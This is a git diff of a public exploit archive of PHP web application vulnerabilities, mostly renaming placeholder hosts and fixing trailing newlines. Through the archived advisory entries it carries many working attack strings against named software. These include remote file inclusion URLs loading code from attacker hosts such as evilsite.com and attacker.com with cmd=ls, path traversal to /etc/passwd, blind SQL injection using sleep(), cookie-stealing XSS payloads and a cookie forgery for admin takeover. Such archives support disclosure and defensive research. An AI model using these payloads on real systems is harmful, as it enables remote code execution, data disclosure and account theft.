http://evilserver/dblib.php/index.html ++ http://evilsite.com/dblib.php/index.html + -+ http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilserver/dblib.php/&cmd=ls ++ http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilsite.com/dblib.php/&cmd=ls + +-------------------------------------------------------------------- + @@ -46,3 +46,4 @@ +-------------------------[ E O F ]---------------------------------- # milw0rm.com [2006-08-01] + \ No newline at end of file diff --git a/platforms/php/webapps/2101.txt b/platforms/php/webapps/2101.txt index eaa5ccbf0..c79f6a727 100755 --- a/platforms/php/webapps/2101.txt +++ b/platforms/php/webapps/2101.txt @@ -26,6 +26,6 @@ Code : include NEWS_INCLUDE_PATH."inc/config.inc.php"; Vulnerability : -http://www.server/[scriptpath]/index.php?news_include_path=[script] +http://www.site.com/[scriptpath]/index.php?news_include_path=[script] # milw0rm.com [2006-08-01] diff --git a/platforms/php/webapps/2102.txt b/platforms/php/webapps/2102.txt index 9c2b3becd..7b7ae3afb 100755 --- a/platforms/php/webapps/2102.txt +++ b/platforms/php/webapps/2102.txt @@ -36,3 +36,4 @@ ================================================================= # milw0rm.com [2006-08-01] + \ No newline at end of file diff --git a/platforms/php/webapps/2103.txt b/platforms/php/webapps/2103.txt index 5f2206b82..b3e01372a 100755 --- a/platforms/php/webapps/2103.txt +++ b/platforms/php/webapps/2103.txt @@ -32,6 +32,6 @@ require_once SB_INCLUDE_PATH.'inc/Sb_database.php'; if(SB_INCLUDE_PATH == "") { -http://www.server/[path]/sb/index.php?sb_include_path=http://[site]/evilcode.txt?&cmd=id +http://www.site.com/[path]/sb/index.php?sb_include_path=http://[site]/evilcode.txt?&cmd=id # milw0rm.com [2006-08-01] diff --git a/platforms/php/webapps/21038.txt b/platforms/php/webapps/21038.txt index 699868362..10cabb5a7 100755 --- a/platforms/php/webapps/21038.txt +++ b/platforms/php/webapps/21038.txt @@ -4,6 +4,6 @@ PHP-Nuke is a website creation/maintenance tool written in PHP3. If a malicious user may subtitute arbitrary values for image form elements in the PHP-Nuke User Registration Form by saving the webpage locally(as 'user.php.html') and altering the information. The new values may be set in such a way as to disclose arbitrary web-readable files to the attacker. -http://server/../../../dir_on_server/anyfile.ext +http://www.target.com/../../../dir_on_server/anyfile.ext -It will load the file when the user info of the attacker is viewed. \ No newline at end of file +It will load the file when the user info of the attacker is viewed. \ No newline at end of file diff --git a/platforms/php/webapps/21046.txt b/platforms/php/webapps/21046.txt index 869b5bf4d..54336bca1 100755 --- a/platforms/php/webapps/21046.txt +++ b/platforms/php/webapps/21046.txt @@ -19,4 +19,4 @@ Summary: 2. Enter above URL with the correct sitename and replace l337h4x0r with your username. 3. Click on "Administration Panel" near the bottom of -the page. \ No newline at end of file +the page. \ No newline at end of file diff --git a/platforms/php/webapps/21119.txt b/platforms/php/webapps/21119.txt index 05ca9cf42..46dd19e3c 100755 --- a/platforms/php/webapps/21119.txt +++ b/platforms/php/webapps/21119.txt @@ -15,4 +15,4 @@ This encoded string would then be passsed to the article.php script by requestin http://targethost/article.php?save=1&sid=20&cookieusrtime=160000&user=USERID:encodedstring -Where encodedstring is the previously described base64 encoded string. Base64 encoding can be trivially accomplished with the use of any of a number of simple utilities. \ No newline at end of file +Where encodedstring is the previously described base64 encoded string. Base64 encoding can be trivially accomplished with the use of any of a number of simple utilities. \ No newline at end of file diff --git a/platforms/php/webapps/2113.txt b/platforms/php/webapps/2113.txt index 9f5ed2b3b..9d40763c2 100755 --- a/platforms/php/webapps/2113.txt +++ b/platforms/php/webapps/2113.txt @@ -13,9 +13,9 @@ #CODE: include($SITE_Path."poll/poll.php") #Exploit: -http://www.server/[path]/menu_dx.php?SITE_Path=http://evil_scripts? -http://www.server/[path]/poll/poll.php?SITE_Path=http://evil_scripts? -http://www.server/[path]/poll/view_polls.php?SITE_Path=http://evil_scripts? +http://www.site.com/[path]/menu_dx.php?SITE_Path=http://evil_scripts? +http://www.site.com/[path]/poll/poll.php?SITE_Path=http://evil_scripts? +http://www.site.com/[path]/poll/view_polls.php?SITE_Path=http://evil_scripts? #Thanx : WWW.CYBER-WARRiOR.ORG diff --git a/platforms/php/webapps/21133.txt b/platforms/php/webapps/21133.txt index 348b8706e..28dd978ad 100755 --- a/platforms/php/webapps/21133.txt +++ b/platforms/php/webapps/21133.txt @@ -8,10 +8,10 @@ [#] How to exploit: -1-go to : http://server/login.php?action=Register +1-go to : http://site.com/login.php?action=Register 2-Put in the Username field the XSS Code => Example:<META http-equiv="refresh" content="0;URL=http://www.google.com"> 3-Put anything in the other field [Password & E-mail] etc... -4-Now anyone go there : http://server/ will redirected to google.com or exploit your XSS Code. +4-Now anyone go there : http://site.com/ will redirected to google.com or exploit your XSS Code. diff --git a/platforms/php/webapps/2114.htm b/platforms/php/webapps/2114.htm index bf963da70..1f2f06dcb 100755 --- a/platforms/php/webapps/2114.htm +++ b/platforms/php/webapps/2114.htm @@ -13,7 +13,8 @@ Existing User:<INPUT name=uname><br> </FORM> <script language="JavaScript"> -document.forms[0].action=prompt("Path to forum","http://server/tpf/")+"updatepf.php"; +document.forms[0].action=prompt("Path to forum","http://www.server.com/tpf/")+"updatepf.php"; </script> # milw0rm.com [2006-08-02] + \ No newline at end of file diff --git a/platforms/php/webapps/21148.txt b/platforms/php/webapps/21148.txt index b2f160936..2173591e1 100755 --- a/platforms/php/webapps/21148.txt +++ b/platforms/php/webapps/21148.txt @@ -10,10 +10,10 @@ How to exploit: -1-go to : http://server/createusernamen/ +1-go to : http://site.com/createusernamen/ 2-Put anything in the other field [Password & E-mail] etc... 3-Go to: Add > Upload a Pin and Put in [Description] field the XSS code >Example:<META http-equiv="refresh" content="0;URL=http://www.google.com"> -4-Now anyone go to: http://server/ will redirected to google.com or exploit your XSS Code. +4-Now anyone go to: http://site.com/ will redirected to google.com or exploit your XSS Code. diff --git a/platforms/php/webapps/21157.txt b/platforms/php/webapps/21157.txt index 9c057127b..34505b729 100755 --- a/platforms/php/webapps/21157.txt +++ b/platforms/php/webapps/21157.txt @@ -6,4 +6,4 @@ Due to insufficient validation of user-supplied input, it is be possible to view This issue may allow a remote attacker to gather sensitive information which may be used in directed and organized attacks against a host running the Gallery software. -http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../etc/hosts \ No newline at end of file +http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../etc/hosts \ No newline at end of file diff --git a/platforms/php/webapps/2116.txt b/platforms/php/webapps/2116.txt index 39381231f..cad8d7d38 100755 --- a/platforms/php/webapps/2116.txt +++ b/platforms/php/webapps/2116.txt @@ -23,3 +23,4 @@ POC: http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http://remotefile/? # milw0rm.com [2006-08-02] + \ No newline at end of file diff --git a/platforms/php/webapps/21166.txt b/platforms/php/webapps/21166.txt index b685c8a21..61908c14b 100755 --- a/platforms/php/webapps/21166.txt +++ b/platforms/php/webapps/21166.txt @@ -14,4 +14,4 @@ An additional cross-site scripting vulnerability has been reported in modules.ph **It has been reported that the cross-site scripting issue affecting the 'ttitle' parameter of 'modules.php' script has been re-introduced in newer versions of the PHPNuke application. This issue is reported to affect versions 7.2 and prior. -http://phpnukesite/modules.php?op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=2&ttitle=%3Cscript%3Ealert(document.location)%3C/script%3E \ No newline at end of file +http://phpnukesite/modules.php?op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=2&ttitle=%3Cscript%3Ealert(document.location)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/21168.txt b/platforms/php/webapps/21168.txt index d1be2f472..652ec7097 100755 --- a/platforms/php/webapps/21168.txt +++ b/platforms/php/webapps/21168.txt @@ -10,4 +10,4 @@ Earlier versions may also be vulnerable. http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1 1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal -ert.com&datum=easynews%20exploited \ No newline at end of file +ert.com&datum=easynews%20exploited \ No newline at end of file diff --git a/platforms/php/webapps/2117.php b/platforms/php/webapps/2117.php index 277cb22e6..490551388 100755 --- a/platforms/php/webapps/2117.php +++ b/platforms/php/webapps/2117.php @@ -306,3 +306,4 @@ else echo ("specify an action [1-4]..."); ?> # milw0rm.com [2006-08-03] + \ No newline at end of file diff --git a/platforms/php/webapps/2118.php b/platforms/php/webapps/2118.php index 4e1a11d2c..486f21bb1 100755 --- a/platforms/php/webapps/2118.php +++ b/platforms/php/webapps/2118.php @@ -260,3 +260,4 @@ echo "exploit failed..."; ?> # milw0rm.com [2006-08-07] + \ No newline at end of file diff --git a/platforms/php/webapps/2119.txt b/platforms/php/webapps/2119.txt index 76e690c05..145e17151 100755 --- a/platforms/php/webapps/2119.txt +++ b/platforms/php/webapps/2119.txt @@ -68,12 +68,12 @@ header.php Proof Of Concept: ~~~~~~~~~~~~~~ -http://server/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt? -http://server/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt? -http://server/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt? -http://server/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt? -http://server/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt? -http://server/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt? +http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt? +http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt? +http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt? +http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt? +http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt? +http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt? Solution: ~~~~~~ diff --git a/platforms/php/webapps/2120.txt b/platforms/php/webapps/2120.txt index cf24e61ed..c8bd032fc 100755 --- a/platforms/php/webapps/2120.txt +++ b/platforms/php/webapps/2120.txt @@ -62,7 +62,7 @@ resources. Proof Of Concept: ~~~~~~~~~~~~~~~ -http://server/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt? +http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt? Solution: ~~~~~~~ diff --git a/platforms/php/webapps/21206.txt b/platforms/php/webapps/21206.txt index 0219e59a2..bd625b6bc 100755 --- a/platforms/php/webapps/21206.txt +++ b/platforms/php/webapps/21206.txt @@ -6,4 +6,4 @@ It is possible for a malicious user to create a link to the phptonuke.php script This type of attack may be used to hijack a legitimate user's session via theft of cookie-based authentication credentials. -http://phpnukesite/phptonuke.php?filnavn=<script>alert(document.cookie)</script> \ No newline at end of file +http://phpnukesite/phptonuke.php?filnavn=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/2122.txt b/platforms/php/webapps/2122.txt index 914382e46..1a36defe9 100755 --- a/platforms/php/webapps/2122.txt +++ b/platforms/php/webapps/2122.txt @@ -34,7 +34,7 @@ +-------------------------------------------------------------------- + + PoC: -+ http://[target]/templates/header.php?$Vb8878b936c2bd8ae0cab=http://evilserver?cmd=ls ++ http://[target]/templates/header.php?$Vb8878b936c2bd8ae0cab=http://evilsite.com?cmd=ls + +-------------------------------------------------------------------- + diff --git a/platforms/php/webapps/21220.txt b/platforms/php/webapps/21220.txt index 06b2063c1..907a6705a 100755 --- a/platforms/php/webapps/21220.txt +++ b/platforms/php/webapps/21220.txt @@ -1,4 +1,4 @@ -#################################################################################### + #################################################################################### # # # ...:::::VICIDIAL call center suite Blind SQL Injection Vulnerability::::.... # #################################################################################### @@ -32,9 +32,9 @@ spl:Z.Khodaee ------- exploit: -http://server/AST_agent_time_sheet.php?agent=some-agent' and sleep(15)='&calls_summary=1&query_date=2012-09-07 -http://server/AST_timeonVDADall.php?adastats=1&DB=0&groups[]=1345' and sleep(15)='&RR=4 -http://server/vicidial_demo/user_stats.php?user=2000' and sleep(10)=' +http://site.com/AST_agent_time_sheet.php?agent=some-agent' and sleep(15)='&calls_summary=1&query_date=2012-09-07 +http://site.com/AST_timeonVDADall.php?adastats=1&DB=0&groups[]=1345' and sleep(15)='&RR=4 +http://site.com/vicidial_demo/user_stats.php?user=2000' and sleep(10)=' ---- Sepahan TelCom Network And Security Group (septelcom) @@ -79,15 +79,15 @@ exploit: XSS : -http://server/admin_search_lead.php?alt_phone_search=&DB=1&first_name=lskkuuaj&last_name=lskkuuaj&lead_id=1&list_id=1&log_lead_id=1&log_phone=555-666-0606&phone=555-666-0606&status=1&submit=SUBMIT&user=[XSS]&vendor_id=1 -http://server/user_stats.php?user=[XSS] +http://site.com/admin_search_lead.php?alt_phone_search=&DB=1&first_name=lskkuuaj&last_name=lskkuuaj&lead_id=1&list_id=1&log_lead_id=1&log_phone=555-666-0606&phone=555-666-0606&status=1&submit=SUBMIT&user=[XSS]&vendor_id=1 +http://site.com/user_stats.php?user=[XSS] -------------- HTTP Prameter plution: -http://server/./user_stats.php?user=shtuasvb&begin_date=2012-09-07&end_date=2012-09-07{HTPP} +http://site.com/./user_stats.php?user=shtuasvb&begin_date=2012-09-07&end_date=2012-09-07{HTPP} example : /user_stats.php?user=shtuasvb&begin_date=2012-09-07&end_date=2012-09-07&hadi685=sep148 -http://server/admin.php?ADD=3&user=someuser{HTPP} +http://site.com/admin.php?ADD=3&user=someuser{HTPP} example : ./admin.php?ADD=3&user=hadi&sep18=tell15 ---- diff --git a/platforms/php/webapps/2123.txt b/platforms/php/webapps/2123.txt index 63a79543d..6c73a2058 100755 --- a/platforms/php/webapps/2123.txt +++ b/platforms/php/webapps/2123.txt @@ -10,7 +10,7 @@ The bug is in the "tpl.inc.php" program in the "lib" directory, and is exploited when passing the parameter "conf[classpath]". -http://server/lib/tpl.inc.php?conf[classpath]=[URL-OF-SCRIPT] +http://www.server.com/lib/tpl.inc.php?conf[classpath]=[URL-OF-SCRIPT] Succesfull explotation, needs register_globals=on @@ -19,3 +19,4 @@ SirDarckCat elhacker.net # milw0rm.com [2006-08-07] + \ No newline at end of file diff --git a/platforms/php/webapps/21233.txt b/platforms/php/webapps/21233.txt index b49172baa..39214078a 100755 --- a/platforms/php/webapps/21233.txt +++ b/platforms/php/webapps/21233.txt @@ -10,10 +10,10 @@ It is not known whether PostNuke is also affected by this issue. The following URLs may be used to access the debugging features: -http://www.vulnerable-server/index.php?sql_debug=1 +http://www.vulnerable-site.com/index.php?sql_debug=1 or -http://www.vulnerable-server/modules.php?name=Members_List&&sql_debug=1 +http://www.vulnerable-site.com/modules.php?name=Members_List&&sql_debug=1 diff --git a/platforms/php/webapps/21241.txt b/platforms/php/webapps/21241.txt index 71baf4d68..691600f5f 100755 --- a/platforms/php/webapps/21241.txt +++ b/platforms/php/webapps/21241.txt @@ -10,4 +10,4 @@ The following URL is sufficient to exploit this issue: http://some.host/wikihome/action/conflict.php?TemplateDir=http://my.host/ -where conflict.php is the name of the malicious attacker-supplied script. \ No newline at end of file +where conflict.php is the name of the malicious attacker-supplied script. \ No newline at end of file diff --git a/platforms/php/webapps/21250.txt b/platforms/php/webapps/21250.txt index 2b0f26771..4d0f0b234 100755 --- a/platforms/php/webapps/21250.txt +++ b/platforms/php/webapps/21250.txt @@ -27,4 +27,4 @@ change X with number of post Cyber_Devil Allah with you members [No-exploit.Com] - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/21251.txt b/platforms/php/webapps/21251.txt index 0d0aa10da..68af3e9de 100755 --- a/platforms/php/webapps/21251.txt +++ b/platforms/php/webapps/21251.txt @@ -51,4 +51,4 @@ $cookiepre = '9x5G74'; ############################################ -# Greetz to my friendz \ No newline at end of file +# Greetz to my friendz \ No newline at end of file diff --git a/platforms/php/webapps/21269.txt b/platforms/php/webapps/21269.txt index 64811879d..e35025439 100755 --- a/platforms/php/webapps/21269.txt +++ b/platforms/php/webapps/21269.txt @@ -13,4 +13,4 @@ you can delete file uploaded in post and upload your files (for php if allowed y ######################################################################################### [!x!] Exploit: Exploit: http://server/edownloadscart/uploads/X/ change X with number of post ######################################################################################## -[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com] \ No newline at end of file +[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com] \ No newline at end of file diff --git a/platforms/php/webapps/21270.txt b/platforms/php/webapps/21270.txt index a2eea6fc5..b8d8b54a5 100755 --- a/platforms/php/webapps/21270.txt +++ b/platforms/php/webapps/21270.txt @@ -10,4 +10,4 @@ Notes : No-ExploiT.CoM ######################################################################################### [!x!] Bug: Delete Arbitrary File Vulnerability you can delete file uploaded in post and upload your files (for php if allowed you can :)) ######################################################################################### [!x!] Exploit: Exploit: http://server/businessdirectory/uploads/X/ change X with number of post ######################################################################################## -[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com] \ No newline at end of file +[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com] \ No newline at end of file diff --git a/platforms/php/webapps/21271.txt b/platforms/php/webapps/21271.txt index d5f847d87..298b01d6d 100755 --- a/platforms/php/webapps/21271.txt +++ b/platforms/php/webapps/21271.txt @@ -9,4 +9,4 @@ Site : No-ExploiT.CoM (Is Back) Notes : No-ExploiT.CoM ######################################################################################### [!x!] Bug: Delete Arbitrary File Vulnerability you can delete file uploaded in post and upload your files (for php if allowed you can :)) ######################################################################################### [!x!] Exploit: Exploit: http://server/photogallery/uploads/X/ change X with number of post ######################################################################################## -[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com] \ No newline at end of file +[!x!] To: All friendsCyber_Devil Allah with you members [No-exploit.Com] \ No newline at end of file diff --git a/platforms/php/webapps/21277.txt b/platforms/php/webapps/21277.txt index a2e5f01b0..a2e5f64cd 100755 --- a/platforms/php/webapps/21277.txt +++ b/platforms/php/webapps/21277.txt @@ -6,4 +6,4 @@ Portix-PHP is prone to directory traversal attacks. The script index.php does no Successful exploitation may cause sensitive information to be disclosed to the attacker. Information gathered in this manner may be used to aid in further attacks against the host. -www.hostportix.com/index.php?l=../../../etc/passwd \ No newline at end of file +www.hostportix.com/index.php?l=../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/21278.txt b/platforms/php/webapps/21278.txt index b83ddd6ab..5d8975596 100755 --- a/platforms/php/webapps/21278.txt +++ b/platforms/php/webapps/21278.txt @@ -6,4 +6,4 @@ Portix-PHP is prone to directory traversal attacks. The script view.php does not Successful exploitation may cause sensitive information to be disclosed to the attacker. Information gathered in this manner may be used to aid in further attacks against the host. -www.hostportix.com/index.php?l=forum/view.php&topic=../../../etc/passwd \ No newline at end of file +www.hostportix.com/index.php?l=forum/view.php&topic=../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/21279.txt b/platforms/php/webapps/21279.txt index c88b992b5..163ae255f 100755 --- a/platforms/php/webapps/21279.txt +++ b/platforms/php/webapps/21279.txt @@ -8,4 +8,4 @@ Successful hijacking of the administrative account will permit the malicious use Change the values in the stored cookie to the following: -name=access value=ok \ No newline at end of file +name=access value=ok \ No newline at end of file diff --git a/platforms/php/webapps/2128.txt b/platforms/php/webapps/2128.txt index 405befcc0..a5c11cf20 100755 --- a/platforms/php/webapps/2128.txt +++ b/platforms/php/webapps/2128.txt @@ -20,11 +20,12 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[sapidcms_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts] +http://www.site.com/[sapidcms_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts] -http://www.server/[sapidcms_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] +http://www.site.com/[sapidcms_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] #Pozdro dla wszystkich ;-) # milw0rm.com [2006-08-07] + \ No newline at end of file diff --git a/platforms/php/webapps/2129.txt b/platforms/php/webapps/2129.txt index 64fd98b87..4a2df52c5 100755 --- a/platforms/php/webapps/2129.txt +++ b/platforms/php/webapps/2129.txt @@ -20,13 +20,13 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=[evil_scripts] +http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=[evil_scripts] -http://www.server/[sapidblog_path]/usr/extensions/get_blog_meta_info.inc.php?root_path=[evil_scripts] +http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_meta_info.inc.php?root_path=[evil_scripts] -http://www.server/[sapidblog_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts] +http://www.site.com/[sapidblog_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts] -http://www.server/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] +http://www.site.com/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/21299.txt b/platforms/php/webapps/21299.txt index 9b20c56ff..8b20c64e2 100755 --- a/platforms/php/webapps/21299.txt +++ b/platforms/php/webapps/21299.txt @@ -6,6 +6,6 @@ PForum is prone to cross-site scripting attacks. It is possible for an attacker This may enable an attacker to steal cookie-based authentication credentials from the legitimate user. -http://server/pforum/edituser.php?boardid=&amp;agree=1 +http://www.server.com/pforum/edituser.php?boardid=&amp;agree=1 &amp;username=%3Cscript%3Ealert(document.cookie)%3C/script%3E -&amp;nickname=test&amp;email=test@test.com&amp;pwd=test&amp;pwd2=test&amp;filled=1 \ No newline at end of file +&amp;nickname=test&amp;email=test@test.com&amp;pwd=test&amp;pwd2=test&amp;filled=1 \ No newline at end of file diff --git a/platforms/php/webapps/2130.txt b/platforms/php/webapps/2130.txt index f62202818..eeb0612f9 100755 --- a/platforms/php/webapps/2130.txt +++ b/platforms/php/webapps/2130.txt @@ -20,9 +20,9 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[sapidgalery_path]/usr/extensions/get_calendar.inc.php?root_path=[evil_scripts] +http://www.site.com/[sapidgalery_path]/usr/extensions/get_calendar.inc.php?root_path=[evil_scripts] -http://www.server/[sapidgalery_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] +http://www.site.com/[sapidgalery_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/21300.txt b/platforms/php/webapps/21300.txt index fa5eb00fa..961946c9a 100755 --- a/platforms/php/webapps/21300.txt +++ b/platforms/php/webapps/21300.txt @@ -4,4 +4,4 @@ The Extreme Message Board (XMB) 1.6 Magic Lantern pre-beta version reportedly al This has been fixed in the 1.6 Magic Lantern final beta version of XMB. -[img]javasCript:alert('Hello world.')[/img] \ No newline at end of file +[img]javasCript:alert('Hello world.')[/img] \ No newline at end of file diff --git a/platforms/php/webapps/21304.txt b/platforms/php/webapps/21304.txt index 04aca687a..e6a9d75eb 100755 --- a/platforms/php/webapps/21304.txt +++ b/platforms/php/webapps/21304.txt @@ -13,4 +13,4 @@ Reports have indicated that this may be an issue in older versions. It has also been reported that Ikonboard 3.1.1 is also vulnerable to this issue. [img]javasCript:alert('Hello world.')[/img] -[IMG]javascript:alert(document.cookie).gif[/IMG] \ No newline at end of file +[IMG]javascript:alert(document.cookie).gif[/IMG] \ No newline at end of file diff --git a/platforms/php/webapps/2131.txt b/platforms/php/webapps/2131.txt index 562c0312c..8beb007db 100755 --- a/platforms/php/webapps/2131.txt +++ b/platforms/php/webapps/2131.txt @@ -20,7 +20,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[sapidshop_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] +http://www.site.com/[sapidshop_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/21312.txt b/platforms/php/webapps/21312.txt index 94fef442b..217c9540c 100755 --- a/platforms/php/webapps/21312.txt +++ b/platforms/php/webapps/21312.txt @@ -8,4 +8,4 @@ ReBB allows users to include images in forum messages using image tags, with the It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials. -[img]javascript:alert('test')[/img] \ No newline at end of file +[img]javascript:alert('test')[/img] \ No newline at end of file diff --git a/platforms/php/webapps/2132.txt b/platforms/php/webapps/2132.txt index 737cb598e..3af08942d 100755 --- a/platforms/php/webapps/2132.txt +++ b/platforms/php/webapps/2132.txt @@ -35,7 +35,7 @@ +-------------------------------------------------------------------- + + PoC: -+ http://[target]/auto_check_renewals.php?installed_config_file=http://evilserver?cmd=ls ++ http://[target]/auto_check_renewals.php?installed_config_file=http://evilsite.com?cmd=ls + +-------------------------------------------------------------------- + diff --git a/platforms/php/webapps/21343.txt b/platforms/php/webapps/21343.txt index bb9e00e96..a8d5699e1 100755 --- a/platforms/php/webapps/21343.txt +++ b/platforms/php/webapps/21343.txt @@ -6,4 +6,4 @@ PHProjekt is prone to an issue which may allow an attacker to include arbitrary Successful exploitation depends partly on the configuration of PHP on the host running the vulnerable software. If 'all_url_fopen' is set to 'off' then exploitation of this issue may be limited. -http://server/filemanager/filemanager_forms.php?lib_path=http://attacker.com/nasty/scripts \ No newline at end of file +http://site.com/filemanager/filemanager_forms.php?lib_path=http://attacker.com/nasty/scripts \ No newline at end of file diff --git a/platforms/php/webapps/21349.txt b/platforms/php/webapps/21349.txt index e1f22c55b..1dfae41ed 100755 --- a/platforms/php/webapps/21349.txt +++ b/platforms/php/webapps/21349.txt @@ -6,4 +6,4 @@ A vulnerability has been reported in some versions of PHP-Nuke. Reportedly, a ma It has been suggested that this is the result of an insecure server configuration. -http://www.server/index.php?file=index.php \ No newline at end of file +http://www.site.com/index.php?file=index.php \ No newline at end of file diff --git a/platforms/php/webapps/2135.txt b/platforms/php/webapps/2135.txt index d92da7034..5da4b5522 100755 --- a/platforms/php/webapps/2135.txt +++ b/platforms/php/webapps/2135.txt @@ -37,7 +37,7 @@ + + PoC: + -+ http://[target]/inc/output/news_theme1.php?abs_path=http://evilserver?cmd=ls ++ http://[target]/inc/output/news_theme1.php?abs_path=http://evilsite.com?cmd=ls + +-------------------------[ E O F ]---------------------------------- diff --git a/platforms/php/webapps/21357.txt b/platforms/php/webapps/21357.txt index d0ff39aea..2c67febc8 100755 --- a/platforms/php/webapps/21357.txt +++ b/platforms/php/webapps/21357.txt @@ -6,4 +6,4 @@ A vulnerability has been reported in some versions of PostNuke. Reportedly, it i Other versions of PostNuke may share this vulnerability. This has not, however, been confirmed. -http://lame_host/user.php?caselist[bad_file.txt][path]=http://bad_host \ No newline at end of file +http://lame_host/user.php?caselist[bad_file.txt][path]=http://bad_host \ No newline at end of file diff --git a/platforms/php/webapps/21377.txt b/platforms/php/webapps/21377.txt index f1270e177..c142d8421 100755 --- a/platforms/php/webapps/21377.txt +++ b/platforms/php/webapps/21377.txt @@ -6,4 +6,4 @@ SunShop allows attackers to embed arbitrary script code into form fields. This m Enter the following name when registering as a new customer: -blackhat<script>alert('ouch')</script> \ No newline at end of file +blackhat<script>alert('ouch')</script> \ No newline at end of file diff --git a/platforms/php/webapps/21380.php b/platforms/php/webapps/21380.php index 584213124..45d31d611 100755 --- a/platforms/php/webapps/21380.php +++ b/platforms/php/webapps/21380.php @@ -18,4 +18,4 @@ eros/236.jpg[/IMG]&signature=1"); /* Redirect browser*/ 2.Register in forum 3.Send a message like this -"Hey, I know how to exploit this forum [URL]http://host.com/exploit.php[/URL]" \ No newline at end of file +"Hey, I know how to exploit this forum [URL]http://host.com/exploit.php[/URL]" \ No newline at end of file diff --git a/platforms/php/webapps/21381.txt b/platforms/php/webapps/21381.txt index 0b17fa567..ab0f60889 100755 --- a/platforms/php/webapps/21381.txt +++ b/platforms/php/webapps/21381.txt @@ -5,4 +5,4 @@ xGB is guestbook software. It is written in PHP and will run on most Unix and Li xGB allows users to post images in guestbook entries by using special syntax to denote a link to an image. However, script code is not filtered from the image tags ([img][/img]) used by the guestbook. An attacker may cause script code to be executed by arbitrary web users who view the guestbook entries. [img]javascript:alert('This Guestbook allows Cross Site -Scripting');[/img] \ No newline at end of file +Scripting');[/img] \ No newline at end of file diff --git a/platforms/php/webapps/21383.txt b/platforms/php/webapps/21383.txt index 0051360b5..14b138b35 100755 --- a/platforms/php/webapps/21383.txt +++ b/platforms/php/webapps/21383.txt @@ -13,4 +13,4 @@ entry: <?php inlcude("text.txt");?>testmail@localhost.de Subscribe with the following address to add an address more than one time: -(testmail@localhost.de)%testmail@localhost.de%testmail@localhost.de%testmail@localhost.de \ No newline at end of file +(testmail@localhost.de)%testmail@localhost.de%testmail@localhost.de%testmail@localhost.de \ No newline at end of file diff --git a/platforms/php/webapps/21391.txt b/platforms/php/webapps/21391.txt index b35ffc3cd..899602298 100755 --- a/platforms/php/webapps/21391.txt +++ b/platforms/php/webapps/21391.txt @@ -15,4 +15,4 @@ DELETE A POLL: 